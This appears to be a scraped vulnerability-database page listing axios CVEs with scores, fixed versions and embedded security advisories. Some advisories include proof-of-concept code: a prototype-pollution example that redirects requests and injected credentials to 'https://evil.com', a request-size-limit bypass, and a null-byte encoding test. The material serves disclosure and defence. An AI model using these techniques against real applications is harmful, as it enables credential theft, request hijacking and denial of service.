| Affected_by_vulnerabilities |
| 0 |
| url |
VCID-37kj-pzyt-8be6 |
| vulnerability_id |
VCID-37kj-pzyt-8be6 |
| summary |
Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig
The `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service. |
| references |
| 0 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
| reference_url |
https://github.com/axios/axios/pull/7369 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
7.5 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
|
| 1 |
| value |
HIGH |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 2 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-10T15:39:46Z/ |
|
|
| url |
https://github.com/axios/axios/pull/7369 |
|
| 7 |
| reference_url |
https://github.com/axios/axios/pull/7388 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
7.5 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
|
| 1 |
| value |
HIGH |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 2 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-10T15:39:46Z/ |
|
|
| url |
https://github.com/axios/axios/pull/7388 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
| 21 |
|
| 22 |
|
| 23 |
|
| 24 |
|
| 25 |
|
| 26 |
|
| 27 |
|
| 28 |
|
| 29 |
|
| 30 |
|
| 31 |
|
| 32 |
|
| 33 |
|
| 34 |
|
| 35 |
|
| 36 |
|
| 37 |
|
| 38 |
|
| 39 |
|
| 40 |
|
| 41 |
|
| 42 |
|
| 43 |
|
| 44 |
|
| 45 |
|
| 46 |
|
| 47 |
|
| 48 |
|
| 49 |
|
| 50 |
|
| 51 |
|
| 52 |
|
|
| fixed_packages |
| 0 |
| url |
pkg:npm/axios@1.13.5 |
| purl |
pkg:npm/axios@1.13.5 |
| is_vulnerable |
true |
| affected_by_vulnerabilities |
| 0 |
| vulnerability |
VCID-4b7a-22xk-gbh9 |
|
| 1 |
| vulnerability |
VCID-5kg1-k416-dfc1 |
|
| 2 |
| vulnerability |
VCID-6ru1-uamj-5ud3 |
|
| 3 |
| vulnerability |
VCID-8a5f-cd5t-mucc |
|
| 4 |
| vulnerability |
VCID-gp41-4j8d-37ce |
|
| 5 |
| vulnerability |
VCID-hadc-5d2f-gqe6 |
|
| 6 |
| vulnerability |
VCID-jvs6-8bva-nqb3 |
|
| 7 |
| vulnerability |
VCID-kwj2-mk8c-4fef |
|
| 8 |
| vulnerability |
VCID-rusx-pwdw-zqcj |
|
| 9 |
| vulnerability |
VCID-td7u-cct6-bud6 |
|
| 10 |
| vulnerability |
VCID-vzqt-dj1z-bqa6 |
|
| 11 |
| vulnerability |
VCID-xdas-dhtb-nuge |
|
| 12 |
| vulnerability |
VCID-xg1x-4spz-jucn |
|
| 13 |
| vulnerability |
VCID-yu5y-e4bk-zyfp |
|
| 14 |
| vulnerability |
VCID-z5pf-pqcd-ckas |
|
|
| resource_url |
http://public2.vulnerablecode.io/packages/pkg:npm/axios@1.13.5 |
|
|
| aliases |
CVE-2026-25639, GHSA-43fc-jf86-j433
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-37kj-pzyt-8be6 |
|
| 1 |
| url |
VCID-4b7a-22xk-gbh9 |
| vulnerability_id |
VCID-4b7a-22xk-gbh9 |
| summary |
axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data |
| references |
| 0 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
| reference_url |
https://github.com/axios/axios |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
7.5 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
|
| 1 |
| value |
6.9 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
|
| url |
https://github.com/axios/axios |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
| 21 |
|
| 22 |
|
| 23 |
|
| 24 |
|
| 25 |
|
| 26 |
|
| 27 |
|
| 28 |
|
| 29 |
|
| 30 |
|
| 31 |
|
| 32 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-42039, GHSA-62hf-57xw-28j9
|
| risk_score |
3.4 |
| exploitability |
0.5 |
| weighted_severity |
6.8 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-4b7a-22xk-gbh9 |
|
| 2 |
| url |
VCID-5kg1-k416-dfc1 |
| vulnerability_id |
VCID-5kg1-k416-dfc1 |
| summary |
Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams
# Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams
## Summary
The `encode()` function in `lib/helpers/AxiosURLSearchParams.js` contains a character mapping (`charMap`) at line 21 that **reverses** the safe percent-encoding of null bytes. After `encodeURIComponent('\x00')` correctly produces the safe sequence `%00`, the charMap entry `'%00': '\x00'` converts it back to a raw null byte.
This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.
**Severity:** Low (CVSS 3.7)
**Affected Versions:** All versions containing this charMap entry
**Vulnerable Component:** `lib/helpers/AxiosURLSearchParams.js:21`
## CWE
- **CWE-626:** Null Byte Interaction Error (Poison Null Byte)
- **CWE-116:** Improper Encoding or Escaping of Output
## CVSS 3.1
**Score: 3.7 (Low)**
Vector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N`
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | Attacker controls input parameters remotely |
| Attack Complexity | High | Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Impact limited to HTTP request URL |
| Confidentiality | None | No confidentiality impact |
| Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser |
| Availability | None | No availability impact |
## Vulnerable Code
**File:** `lib/helpers/AxiosURLSearchParams.js`, lines 13-26
```javascript
function encode(str) {
const charMap = {
'!': '%21', // literal → encoded (SAFE direction)
"'": '%27', // literal → encoded (SAFE direction)
'(': '%28', // literal → encoded (SAFE direction)
')': '%29', // literal → encoded (SAFE direction)
'~': '%7E', // literal → encoded (SAFE direction)
'%20': '+', // standard transformation (SAFE)
'%00': '\x00', // LINE 21: encoded → raw null byte (UNSAFE direction!)
};
return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
return charMap[match];
});
}
```
### Why the Standard Flow Is NOT Affected
```javascript
// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's
const _encode = (options && options.encode) || encode; // buildURL's encode
// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams
new AxiosURLSearchParams(params, _options).toString(_encode); // external encoder used
// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used
const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;
// ^^^^^^
// internal encode passed as 2nd arg but only used if
// the external encoder explicitly delegates to it
```
## Proof of Concept
```javascript
import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';
import buildURL from './lib/helpers/buildURL.js';
// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)
const params = new AxiosURLSearchParams({ file: 'test\x00.txt' });
const result = params.toString(); // NO encoder → uses internal encode with charMap
console.log('Direct toString():', JSON.stringify(result));
// Output: "file=test\u0000.txt" (contains raw null byte)
console.log('Hex:', Buffer.from(result).toString('hex'));
// Output: 66696c653d74657374002e747874 (00 = null byte)
// Test 2: Via buildURL (NOT vulnerable — standard axios flow)
const url = buildURL('http://example.com/api', { file: 'test\x00.txt' });
console.log('Via buildURL:', url);
// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)
```
## Verified PoC Output
```
Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true
```
## Impact Analysis
**Primary impact is limited** because the standard axios request flow is not affected. However:
- **Direct API users:** Applications using `AxiosURLSearchParams` directly for custom serialization are affected
- **Custom paramsSerializer:** A `paramsSerializer.encode` that delegates to the internal encoder triggers the bug
- **Code defect signal:** The directional inconsistency in charMap is a clear coding error with no legitimate use case
If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.
## Recommended Fix
Remove the `%00` entry from charMap and update the regex:
```javascript
function encode(str) {
const charMap = {
'!': '%21',
"'": '%27',
'(': '%28',
')': '%29',
'~': '%7E',
'%20': '+',
// REMOVED: '%00': '\x00'
};
return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {
// ^^^^ removed |%00
return charMap[match];
});
}
```
## Resources
- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)
- [CWE-116: Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)
- [OWASP: Embedding Null Code](https://owasp.org/www-community/attacks/Embedding_Null_Code)
- [Axios GitHub Repository](https://github.com/axios/axios)
## Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS |
| TBD | Report submitted to vendor via GitHub Security Advisory | |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2026-42040, GHSA-xhjh-pmcv-23jw
|
| risk_score |
1.6 |
| exploitability |
0.5 |
| weighted_severity |
3.3 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-5kg1-k416-dfc1 |
|
| 3 |
|
| 4 |
|
| 5 |
| url |
VCID-9ddj-ryra-5keb |
| vulnerability_id |
VCID-9ddj-ryra-5keb |
| summary |
Allocation of Resources Without Limits or Throttling in Axios
## Summary
Axios versions `1.7.0` through `1.15.x` did not enforce configured request and response size limits when requests were sent with the `fetch` adapter. Applications that selected `adapter: 'fetch'`, or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than `maxContentLength` or `maxBodyLength` despite those limits being explicitly configured.
This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large `data:` URL, or when an application forwards attacker-controlled request bodies through axios while relying on `maxBodyLength` as a boundary.
## Impact
The impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.
This does not affect axios’s default unlimited behaviour by itself: `maxContentLength` and `maxBodyLength` default to `-1`. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.
Server-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.
## Affected Functionality
Affected functionality includes requests using the built-in `fetch` adapter with finite `maxContentLength` or `maxBodyLength` values.
Relevant configurations include:
- `adapter: 'fetch'`
- `adapter: ['fetch', ...]` when `fetch` is selected
- environments where neither `xhr` nor `http` is available and axios falls back to `fetch`
- custom fetch environments configured through `env.fetch`
Unaffected functionality includes:
- Node.js default `http` adapter enforcement
- versions before the fetch adapter was introduced
- configurations that do not rely on finite axios size limits
## Technical Details
In vulnerable versions, `lib/adapters/fetch.js` destructured request config without `maxContentLength` or `maxBodyLength`. The adapter dispatched `fetch()` and then materialized the response through `text()`, `arrayBuffer()`, `blob()`, or related resolvers without checking the configured response limit.
The fix in `e5540dc` added:
- `maxContentLength` and `maxBodyLength` reads in `lib/adapters/fetch.js`
- upfront `data:` URL decoded-size checks
- outbound body-size checks before dispatch
- `Content-Length` response pre-checks
- streaming response enforcement
- fallback checks for environments without `ReadableStream`
- regression tests in `tests/unit/adapters/fetch.test.js`
## Proof of Concept of Attack
```js
import http from 'node:http';
import axios from 'axios';
const server = http.createServer((req, res) => {
let received = 0;
req.on('data', chunk => {
received += chunk.length;
});
req.on('end', () => {
res.end(JSON.stringify({ received }));
});
});
await new Promise(resolve => server.listen(0, resolve));
const url = `http://127.0.0.1:${server.address().port}/`;
await axios.post(url, 'A'.repeat(2 * 1024 * 1024), {
adapter: 'fetch',
maxBodyLength: 1024
});
// Vulnerable versions succeed and the server receives 2097152 bytes.
// Fixed versions reject with ERR_BAD_REQUEST.
server.close();
```
## Workarounds
Use the Node.js `http` adapter for server-side requests where finite size limits are security-relevant.
Validate or cap attacker-controlled request bodies before passing them to axios.
Reject or strictly allowlist attacker-controlled URL schemes, especially `data:` URLs, before calling axios.
<details>
<summary>Original Report</summary>
### Summary
When Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.
### Details
maxBodyLength and maxContentLength are not applied in the fetch adapter flow:
- lib/adapters/fetch.js (146-160): config destructuring does not include these controls.
- lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement.
- lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks.
By contrast, the HTTP adapter enforces both limits.
### PoC
Environment:
- Axios main at commit f7a4ee2
- Node v24.2.0
Steps:
1. Start an HTTP server that counts received bytes and echoes {received}.
2. Send 2 MiB with:
- adapter: 'fetch'
- maxBodyLength: 1024
3. Request a 4 KiB data: URL with:
- adapter: 'fetch'
- maxContentLength: 16
Expected secure behavior: both requests rejected.
Observed:
- Upload: success, server received 2097152
- data: response: success, length 4096
### Impact
Type: DoS / resource exhaustion due to limit bypass.
Impacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes.
</details>
--- |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2026-44488, GHSA-777c-7fjr-54vf
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-9ddj-ryra-5keb |
|
| 6 |
| url |
VCID-axy8-kmka-pugw |
| vulnerability_id |
VCID-axy8-kmka-pugw |
| summary |
Axios is vulnerable to DoS attack through lack of data size check
When Axios runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response.
This path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`. |
| references |
| 0 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
| reference_url |
https://github.com/axios/axios/pull/7011 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
7.5 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
|
| 1 |
| value |
HIGH |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 2 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-09-12T13:08:38Z/ |
|
|
| url |
https://github.com/axios/axios/pull/7011 |
|
| 8 |
| reference_url |
https://github.com/axios/axios/pull/7034 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
7.5 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
|
| 1 |
| value |
HIGH |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 2 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-09-12T13:08:38Z/ |
|
|
| url |
https://github.com/axios/axios/pull/7034 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
| 21 |
|
| 22 |
|
| 23 |
|
| 24 |
|
| 25 |
|
| 26 |
|
| 27 |
|
| 28 |
|
| 29 |
|
| 30 |
|
| 31 |
|
| 32 |
|
| 33 |
|
| 34 |
|
|
| fixed_packages |
| 0 |
| url |
pkg:npm/axios@1.12.0 |
| purl |
pkg:npm/axios@1.12.0 |
| is_vulnerable |
true |
| affected_by_vulnerabilities |
| 0 |
| vulnerability |
VCID-37kj-pzyt-8be6 |
|
| 1 |
| vulnerability |
VCID-4b7a-22xk-gbh9 |
|
| 2 |
| vulnerability |
VCID-5kg1-k416-dfc1 |
|
| 3 |
| vulnerability |
VCID-6ru1-uamj-5ud3 |
|
| 4 |
| vulnerability |
VCID-8a5f-cd5t-mucc |
|
| 5 |
| vulnerability |
VCID-gp41-4j8d-37ce |
|
| 6 |
| vulnerability |
VCID-hadc-5d2f-gqe6 |
|
| 7 |
| vulnerability |
VCID-jvs6-8bva-nqb3 |
|
| 8 |
| vulnerability |
VCID-kwj2-mk8c-4fef |
|
| 9 |
| vulnerability |
VCID-rusx-pwdw-zqcj |
|
| 10 |
| vulnerability |
VCID-td7u-cct6-bud6 |
|
| 11 |
| vulnerability |
VCID-vzqt-dj1z-bqa6 |
|
| 12 |
| vulnerability |
VCID-xdas-dhtb-nuge |
|
| 13 |
| vulnerability |
VCID-xg1x-4spz-jucn |
|
| 14 |
| vulnerability |
VCID-yu5y-e4bk-zyfp |
|
| 15 |
| vulnerability |
VCID-z5pf-pqcd-ckas |
|
|
| resource_url |
http://public2.vulnerablecode.io/packages/pkg:npm/axios@1.12.0 |
|
|
| aliases |
CVE-2025-58754, GHSA-4hjh-wcwx-xvwj
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-axy8-kmka-pugw |
|
| 7 |
|
| 8 |
| url |
VCID-h5yg-64cq-ekaa |
| vulnerability_id |
VCID-h5yg-64cq-ekaa |
| summary |
Server-Side Request Forgery in axios
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs. |
| references |
| 0 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
| reference_url |
https://github.com/axios/axios/releases |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
4 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N |
|
| 1 |
| value |
HIGH |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 2 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-08-15T19:24:57Z/ |
|
|
| url |
https://github.com/axios/axios/releases |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
| 21 |
|
|
| fixed_packages |
| 0 |
| url |
pkg:npm/axios@1.7.4 |
| purl |
pkg:npm/axios@1.7.4 |
| is_vulnerable |
true |
| affected_by_vulnerabilities |
| 0 |
| vulnerability |
VCID-37kj-pzyt-8be6 |
|
| 1 |
| vulnerability |
VCID-4b7a-22xk-gbh9 |
|
| 2 |
| vulnerability |
VCID-5kg1-k416-dfc1 |
|
| 3 |
| vulnerability |
VCID-6ru1-uamj-5ud3 |
|
| 4 |
| vulnerability |
VCID-8a5f-cd5t-mucc |
|
| 5 |
| vulnerability |
VCID-axy8-kmka-pugw |
|
| 6 |
| vulnerability |
VCID-gp41-4j8d-37ce |
|
| 7 |
| vulnerability |
VCID-hadc-5d2f-gqe6 |
|
| 8 |
| vulnerability |
VCID-jvs6-8bva-nqb3 |
|
| 9 |
| vulnerability |
VCID-kwj2-mk8c-4fef |
|
| 10 |
| vulnerability |
VCID-rusx-pwdw-zqcj |
|
| 11 |
| vulnerability |
VCID-td7u-cct6-bud6 |
|
| 12 |
| vulnerability |
VCID-vq2d-yv43-57b6 |
|
| 13 |
| vulnerability |
VCID-vzqt-dj1z-bqa6 |
|
| 14 |
| vulnerability |
VCID-xdas-dhtb-nuge |
|
| 15 |
| vulnerability |
VCID-xg1x-4spz-jucn |
|
| 16 |
| vulnerability |
VCID-yu5y-e4bk-zyfp |
|
| 17 |
| vulnerability |
VCID-z5pf-pqcd-ckas |
|
|
| resource_url |
http://public2.vulnerablecode.io/packages/pkg:npm/axios@1.7.4 |
|
|
| aliases |
CVE-2024-39338, GHSA-8hc4-vh64-cxmj
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-h5yg-64cq-ekaa |
|
| 9 |
|
| 10 |
|
| 11 |
| url |
VCID-kwj2-mk8c-4fef |
| vulnerability_id |
VCID-kwj2-mk8c-4fef |
| summary |
axios: Axios: Remote Code Execution via Prototype Pollution escalation |
| references |
| 0 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
| 21 |
|
| 22 |
|
| 23 |
|
| 24 |
|
| 25 |
|
| 26 |
|
| 27 |
|
| 28 |
|
| 29 |
|
| 30 |
|
| 31 |
|
| 32 |
|
| 33 |
|
| 34 |
|
| 35 |
|
| 36 |
|
| 37 |
|
| 38 |
|
| 39 |
|
| 40 |
|
| 41 |
|
| 42 |
|
| 43 |
|
|
| fixed_packages |
| 0 |
| url |
pkg:npm/axios@1.15.0 |
| purl |
pkg:npm/axios@1.15.0 |
| is_vulnerable |
true |
| affected_by_vulnerabilities |
| 0 |
| vulnerability |
VCID-4b7a-22xk-gbh9 |
|
| 1 |
| vulnerability |
VCID-5kg1-k416-dfc1 |
|
| 2 |
| vulnerability |
VCID-6ru1-uamj-5ud3 |
|
| 3 |
| vulnerability |
VCID-8a5f-cd5t-mucc |
|
| 4 |
| vulnerability |
VCID-gp41-4j8d-37ce |
|
| 5 |
| vulnerability |
VCID-hadc-5d2f-gqe6 |
|
| 6 |
| vulnerability |
VCID-jvs6-8bva-nqb3 |
|
| 7 |
| vulnerability |
VCID-rusx-pwdw-zqcj |
|
| 8 |
| vulnerability |
VCID-vzqt-dj1z-bqa6 |
|
| 9 |
| vulnerability |
VCID-xdas-dhtb-nuge |
|
| 10 |
| vulnerability |
VCID-xg1x-4spz-jucn |
|
| 11 |
| vulnerability |
VCID-yu5y-e4bk-zyfp |
|
| 12 |
| vulnerability |
VCID-z5pf-pqcd-ckas |
|
|
| resource_url |
http://public2.vulnerablecode.io/packages/pkg:npm/axios@1.15.0 |
|
|
| aliases |
CVE-2026-40175, GHSA-fvcv-3m26-pcqx
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.1 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-kwj2-mk8c-4fef |
|
| 12 |
| url |
VCID-rusx-pwdw-zqcj |
| vulnerability_id |
VCID-rusx-pwdw-zqcj |
| summary |
Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking
## Summary
Five config properties in the HTTP adapter are read via direct property access without `hasOwnProperty` guards, making them exploitable as prototype pollution gadgets. When `Object.prototype` is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.
## Affected Properties
1. **`config.auth`** (`lib/adapters/http.js` line 617) Injects attacker-controlled `Authorization` header on all requests.
2. **`config.baseURL`** (`lib/helpers/resolveConfig.js` line 18) Redirects all requests using relative URLs to an attacker-controlled server.
3. **`config.socketPath`** (`lib/adapters/http.js` line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
4. **`config.beforeRedirect`** (`lib/adapters/http.js` line 698) Executes attacker-supplied callback during HTTP redirects.
5. **`config.insecureHTTPParser`** (`lib/adapters/http.js` line 712) Enables Node.js insecure HTTP parser on all requests.
## Proof of Concept
```javascript
const axios = require('axios');
// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';
await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
```
## Impact
- **Credential injection:** Every axios request includes an attacker-controlled `Authorization` header, leaking request contents to any server that logs auth headers.
- **Request hijacking:** All requests using relative URLs are silently redirected to an attacker-controlled server.
- **SSRF:** Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
- **Code execution:** Attacker-supplied functions execute during HTTP redirects.
- **Parser weakening:** Insecure HTTP parser enabled on all requests, enabling request smuggling.
## Root Cause
`mergeConfig()` iterates `Object.keys({...config1, ...config2})`, which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (`config.auth`, `config.socketPath`, etc.), which traverses the prototype chain and picks up polluted values.
The `own()` helper at `lib/adapters/http.js` line 336 exists and guards 8 other properties (`data`, `lookup`, `family`, `httpVersion`, `http2Options`, `responseType`, `responseEncoding`, `transport`) from this exact attack. The 5 properties listed above are not included in this protection.
## Suggested Fix
Apply the existing `own()` helper to all affected properties:
```javascript
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
```
Same pattern for `socketPath`, `beforeRedirect`, `insecureHTTPParser`, and a `hasOwnProperty` check for `baseURL` in `resolveConfig.js`. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2026-42264, GHSA-q8qp-cvcw-x6jj
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-rusx-pwdw-zqcj |
|
| 13 |
| url |
VCID-td7u-cct6-bud6 |
| vulnerability_id |
VCID-td7u-cct6-bud6 |
| summary |
axios: Axios: Server-Side Request Forgery and proxy bypass due to improper hostname normalization |
| references |
| 0 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
| reference_url |
https://github.com/axios/axios |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
4.8 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N |
|
| 1 |
| value |
6.3 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
|
| url |
https://github.com/axios/axios |
|
| 7 |
|
| 8 |
|
| 9 |
| reference_url |
https://github.com/axios/axios/pull/10661 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
4.8 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N |
|
| 1 |
| value |
6.3 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 3 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-09T15:02:50Z/ |
|
|
| url |
https://github.com/axios/axios/pull/10661 |
|
| 10 |
| reference_url |
https://github.com/axios/axios/pull/10688 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
4.8 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N |
|
| 1 |
| value |
6.3 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 3 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
